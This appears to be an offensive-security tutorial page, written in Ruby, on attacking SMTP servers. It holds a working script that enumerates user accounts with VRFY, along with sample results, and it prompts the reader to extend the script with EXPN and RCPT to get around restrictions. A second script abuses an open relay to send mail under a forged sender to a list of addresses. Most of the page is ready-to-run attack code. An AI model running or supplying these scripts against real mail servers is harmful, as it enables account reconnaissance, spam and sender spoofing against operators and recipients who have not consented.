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SMTP Enumeration

SMTP email address enumeration
Interacting with SMTP is easy and since the protocol is straight forward. We can use the VRFY command to check if an email address exists or not:
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'socket'
​
users =
    %w{
        root rubyfu www apache2 bin daemon sshd
        gdm  nobody ftp operator postgres mysqld
      }
found = []
​
@s = TCPSocket.new('192.168.0.19', 25)
@banner = @s.recv(1024).chomp
users.each do |user|
  @s.send "VRFY #{user} \n\r", 0
  resp = @s.recv(1024).chomp
  found << user if resp.split[2] == user
end
@s.close
​
puts "[*] Result:-"
puts "[+] Banner: " + @banner
puts "[+] Found users: \n#{found.join("\n")}"
Results
[*] Result:-
[+] Banner: 220 VulnApps.localdomain ESMTP Postfix
[+] Found users: 
root
rubyfu
www
bin
daemon
sshd
gdm
nobody
ftp
operator
postgres
Your turn, there are other commands that can be used such as EXPN, RCPT. Enhance the above script to include all these commands to avoid restricted commands that might you face. More SMTP commands are listed here.
SMTP open relay abuse
SMTP not protected by authentication can be abused to send emails from anyone:
#!/usr/bin/env ruby
​
require 'socket'
​
users = File.read('emails.txt').split("\n")
​
@s = TCPSocket.new('example.org', 25)
@banner = @s.recv(1024).chomp
users.each do |user|
  @s.send "MAIL from:[email protected] \n\r", 0
  @s.send "RCPT to:#{user} \n\r", 0
  @s.send "DATA \n\r", 0
  @s.send "email body here \r\n.\r\n", 0
  resp = @s.recv(1024).chomp
  puts resp
end
@s.close
​
puts "[*] Result:-"
puts "[+] Banner: " + @banner

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SMTP email address enumeration

SMTP open relay abuse